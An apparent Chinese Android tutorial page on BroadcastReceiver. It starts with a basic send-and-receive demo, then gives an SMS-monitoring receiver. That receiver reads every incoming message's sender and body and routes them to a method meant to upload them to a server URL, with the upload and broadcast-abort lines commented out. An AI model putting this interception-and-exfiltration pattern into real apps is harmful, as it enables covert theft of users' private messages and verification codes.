BroadcastReceiver广播接受者简单使用
1.注册BrocadcastReceiver
<receiver android:name=".FirstReceiver" >
<!-- 指定能够接收的广播类型 -->
<intent-filter>
<action android:name="a5" />
</intent-filter>
</receiver>
2.
//广播接收器
public class FirstReceiver extends BroadcastReceiver{
//接收intent并做出后续处理
@Override
public void onReceive(Context arg0, Intent arg1) {
String action = arg1.getAction();
int x = arg1.getIntExtra("x", 0);
System.out.println("--"+action+"--"+x); }
3.
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
public void click(View v){
Intent it=new Intent();
//指定intent的操作
System.out.println("---00");
it.setAction("a5");
//附加参数
it.putExtra("x", 99);
//发送广播
this.sendBroadcast(it);
}
}
4. 以上代码能够简单实现广播的发送和接收。
<!-- 示例 -->
通过广播实现app短信监听
1.
<uses-sdk
android:minSdkVersion="14"
android:targetSdkVersion="23" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.INTERNET" /> <receiver android:name=".SMSReceiver" >
<intent-filter android:priority="1000" >
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
2.
package myapplication.com.canvas; import java.net.URL;
import java.net.URLConnection; import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage; public class SMSReceiver extends BroadcastReceiver{ @Override
public void onReceive(Context arg0, Intent arg1) {
String action =arg1.getAction();
//收到短信的广播
if (action.equals("android.provider.Telephony.SMS_RECEIVED"))
{
//取出intent中的全部数据
Bundle bundle = arg1.getExtras();
//取出短信数据
Object os[] = (Object[]) bundle.get("pdus");
//定义可读取数据的短信格式
SmsMessage sm[]=new SmsMessage[os.length];
for (int i = 0; i < os.length; i++) {
//转化为字节数组
byte bs[]=(byte[]) os[i];
//转化
sm[i]=SmsMessage.createFromPdu(bs);
}
for (SmsMessage s : sm) {
//电话号码
String number = s.getDisplayOriginatingAddress();
//内容
String body = s.getMessageBody();
//System.out.println("--"+number+":"+body);
// Intent it=new Intent();
// it.setAction("my.a.b");
// Bundle data=new Bundle();
// data.putString("number", number);
// data.putString("body", body);
//
// it.putExtras(data);
// arg0.sendBroadcast(it);
send(number+"-"+body);
}
//中断广播
//abortBroadcast();
} }
//发送短信到指定的服务器
private void send(final String value) { new Thread(){
public void run() {
try
{
System.out.println(value);
// String path="http://172.27.35.1/sms.jsp?sms="+value;
// URL url=new URL(path);
// URLConnection con = url.openConnection();
// con.getInputStream();
} catch (Exception e) {
e.printStackTrace();
}
};
}.start(); } }
3.
BroadcastReceiver广播接受者简单使用的更多相关文章
- BroadcastReceiver广播接受者
广播接收器的两种注册方式: 1)动态注册:在代码中注册,创建一个IntentFilter(意图过滤器)对象,设置想要就收的广播,在onCreate()方法中通过调用registerReceiver() ...
- Android BroadcastReceiver广播接受者
静态注册 配置清单表注册:只要曾经注册过哪怕关闭也能调用 方式一:sendBroadCastReceive 广播的步骤: 发送 无序广播,普通广播 (1).发送方 ...
- 本地广播的简单示例 --Android开发
1.局部通知管理器LocalBroadcastManager,用于同一个应用中不同组件之间发送广播.由于是在同应用中发送广播,所以使用它安全性.效率也会提高. 2.本例实现简单的发送本地广播的案例 点 ...
- Android 学习笔记 BroadcastReceiver广播...
PS:不断提升自己,是件好事... 学习内容: 1.BroadcastReceiver的使用.. 2.通过BroadcastReceiver去启动Service... 1.BroadcastRecei ...
- BroadcastRecevier广播接受者
广播接收器的两种注册方式: 1)动态注册:在代码中注册,创建一个IntentFilter(意图过滤器)对象,设置想要就收的广播,在onCreate()方法中通过调用registerReceiver() ...
- Android的BroadcastReceiver 广播 短信拦截
如何去理解BroadcastReceiver(广播)?其实可以这样想,首先我们要有一个发送广播的"媒体",在这个例子中,我们暂且用activity组件作为这个媒体,当然以后会用到s ...
- Android四大组件之一:BroadCastReceiver(广播接收者)
广播接受者是(BroadCastReceiver)是Android中的地大组件之一,之前学习了一些关于BroadCastReceiver方面的知识,今天回过头来发现已经快忘记的差不多了,毕竟现在是刚开 ...
- android84 广播接受者
#广播接收者(广播接受者进程关闭了也能接收到广播,系统会在清单文件中找哪个广播接受者可以收到这条广播,然后去启动这个接受者的进程,找不到则广播发了就发了没人收到而已) * 现实中:电台要发布消息,通过 ...
- 在Service中使用广播接受者
1.清单文件 <service android:name="com.example.callmethod.MyService"></service> 2.开 ...
随机推荐
- SpringMVC(二)@RequestMapping
学习@RequestMapping注解,参考Spring API 1.@RequestMapping可以修饰在类类型和方法上 ①.修饰在类定义上: 提供初步的URL映射,相对于web应用 ...
- utf8_general_ci、utf8_unicode_ci和utf8_bin的区别(转载)
例如: CREATE DATABASE IF NOT EXISTS redmine DEFAULT CHARSET utf8 COLLATE utf8_general_ci; CREATE DATAB ...
- Airtest多设备跑
一. 一个脚本对应一台设备 核心点:组织运行命令:将组织好的命令传到pool进程池(注意:是进程池,不是线程池,python的线程池不是同步执行,是按序执行) 以下不需要看,为私人项目备份目的. ...
- The socket is closed!
关闭mongodb /usr/local/app/mongidb//bin/mongod --shutdown --dbpath /usr/local/data/mongo/data/ 然 ...
- 训练1-R
给出一个长度为N的数组,进行Q次查询,查询从第i个元素开始长度为l的子段所有元素之和. 例如,1 3 7 9 -1,查询第2个元素开始长度为3的子段和,1 {3 7 9} -1.3 + 7 + 9 = ...
- 基于 SpringMVC——web.xml基本配置
<!--声明应用范围内的初始化参数--> <context-param> <param-name>contextConfigLocation</param-n ...
- hdu 1385 floyd记录路径
可以用floyd 直接记录相应路径 太棒了! http://blog.csdn.net/ice_crazy/article/details/7785111 #include"stdio.h& ...
- MyBatis中动态SQL元素的使用
掌握MyBatis中动态SQL元素的使用 if choose(when,otherwise) trim where set foreach <SQL>和<include> 在应 ...
- 【C++】通用单链表
在C++的学习中,採用模板类,而採用虚函数实现多态性.达到通用的目的.结点类数据域被改造为指针,而把数据放在一个抽象类中.由指针与之建立联系. 採用虚函数实现多态性,达到通用的目的.堆内存的分配与释放 ...
- inconsistent line endings 解决方法
I'm using Unity 3D in combination with Visual Studio 2008 on a Windows 7 64 bit system. When savi ...